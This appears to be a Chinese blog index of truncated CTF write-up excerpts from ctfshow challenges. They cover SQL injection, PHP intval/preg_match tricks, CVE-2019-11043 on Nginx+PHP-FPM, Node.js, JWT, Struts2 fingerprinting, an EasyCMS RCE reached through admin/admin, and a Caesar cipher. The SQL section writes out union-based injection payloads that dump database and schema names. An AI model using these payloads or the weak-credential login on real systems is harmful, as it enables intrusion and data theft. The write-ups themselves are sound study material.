SQL
web171注入学习
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
象征性测试下闭合方式
1 正常1' 异常1" 正常
说明是单引号闭合,测试字段数,这里注意使用%23哦
1' order by 3%23 正常1' order by 4%23 异常
说明三个,查回显地方
1' union select 1,2,3%23
1' union select 1,database(),3%23
爆数据库名
1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23
爆表名
-1'union select 1,group_concat(t ...
PHP特性
web89
源码开局
intval()函数用于获取变量的整数值
intval()函数通过使用指定的进制base转换(默认是十进制)返回变量var的integer数值.intval()不能用于object,否则会产生E_NOTICE错误并返回1
preg_match()函数:判断输入的值是否存在指定字符
preg_match()函数无法处理数组,这里发现匹配到数字就死,但是intval()中又必须是数字,所以只能有一个不执行.那么要利用intval的话只能上面不执行,所以只要传个数组
web90 <?php/*# -*- coding: utf-8 -*- Author: h1xa Date: 2020-09-16 11:25:09 Last Modified by: h1xa Last Modified time: 2020-09-18 16:06:11 email: h1xa@ctfer.com link: https://ctfer.com*/include("flag.php");highlight_file(__FILE__);if(isse ...
phpCVE
web311
有点熟悉
提示cve,先查看下版本
X-Powered-By:PHP/7.1.33dev这个是告知网站是用何种语言或者框架编写的,可以在php.ini中增加或者修改expose_php=off进行关闭
那么这里就需要去寻找这个版本的php漏洞了
搜到一个
CVE-2019-11043复现与学习CVE2019-11043是一个远程代码执行漏洞,使用某些特定的Nginx+PHP-FPM的服务器存在漏洞,可以远程代码执行
向Nginx+PHP-FPM的服务器URL发送%0a时,服务器返回异常,该漏洞需要在nginx.conf中进行特定配置才能出发
location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ...}
PHP的很多框架里面都是通过获取$_SERVER[‘PATH_INFO’]处理路由,这个变量 ...
node.js
web334node.js
node.js是一个基于Chrome v8引擎的javascript运行环境,可以说node.js是一个运行环境,或者说是一个js语言解释器而不是某种库
nodejs是基于chrome的v8引擎开发的一个c++程序,目的是用来提供一个js的运行环境.最早nodejs主要是安装在服务器上,辅助大家使用js开发高性能服务器代码,但是后来node.js在前段也大放异彩,带来了web前段开发的革命.node.js下运行js代码有两种方式,一种是在node.js的交互环境下进行,另一种是把代码写入文件中,然后用node命令执行文件代码.node.js跟浏览器是不同的环境,写js代码的时候要注意这些差异.
题目
总共发现有两个js文件,一个是user.js
user.js
module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ]};
得知username为CTFSHOW与password为12 ...
JWT
web345什么是jwtjwt是一个开放标准,它定义的一种紧凑的 自包含的方式,用于所谓json对象在各方之间安全的传输信息.该信息可以被验证和信任,因为它是数字签名的.
使用场景
一次性验证
比如用户注册后需要发放一封邮件让其激活账户,通常邮件中只需要有一个链接,这个链接需要具备以下的特性:能够标识用户,该链接具有时效性(通常只允许几个小时内激活),不能被篡改其激活其他可能的账户..这种场景就和jwt的特性非常 的贴近,jwt的payload中固定的参数:iis签发这和exp过期时间正式为其准备的
restful api的无状态认证
使用jwt来做restful api的身份认证也是值得推崇的一种使用方案.客户端和服务器共享secret;过期时间有服务端效验,客户端定时刷新;签名信息不可被更改,spring security oauth jwt 提供了一套完整的jwt认证体系
jwt结构jwt由三部分构成,他们之间用远点(.)连接.这三部分分别是
Header
Payload
Signature
具体示例如下
eyJhbGciOiJIUzI1NiIsInR5cCI6 ...
java
web279
发现一个链接,直接点过去
查看源码,发现一个链接
发现服务器500错误,得知是struts2框架
struts2框架是用java语言编写的一个基于MVC这几模式的web应用框架,关于struts2漏洞
判断是struts2框架的方法
通过页面的回显错误消息来判断,页面不回显错误消息是则无效
通过网页后缀来判断,如.do.action,有可能不准
判断/struts/webconsole.html是否存在来进行判断,需要devMode为true
方法一通过actionErrors.要求是对应的Action需要继承自ActionSupport类,
原始url为https://threathunter.org/ 则检测所用的url为https://threathunter.org/?actionErrors=111
如果返回的页面出现异常,则可以认定为目标是基于struts2构建的.异常包括但不限于
页面直接出现404或者500等错误
页面上输出了与业务有关错误消息,或者1111被回显到了页面上
页面内容结构发生了明显的改变
页面发生了重定向 ...
CMS
web477题目提示rce
是easycms的
去网站搜搜,搜到后台地址是admin.
弱口令admin admin登进去了
网上查了一下是5.7的版本,然后找一下漏洞
漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:
class table_templatetag extends table_mode { function vaild() { if(!front::post('name')) { front::flash('请填写名称!'); return false; } if(!front::post('tagcontent')) { front::flash('请填写内容!'); return false; } return ...
Crypto
凯撒密码凯撒密码通过替换字母完成加密,每个字母由字母表中其后特定位数的字母代替。例如,Julius Caesar将字母表的后移动3个字母的位置,然后用得到的新字母表中的字母替换原消息中的每个字母。
例如,消息中的每一个A都变成D,每个B都变成E等。当Caesar需要将字母表末尾的字母(如Y)移位时,他会绕回到字母表的开头,移动3个位置到B。在本节中,将使用凯撒密码手动加密消息
已知加密函数
<?phpfunction encrypt($data,$key){ $key = md5('ISCC'); #729623334f0aa2784a1599fd374c120d $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= ...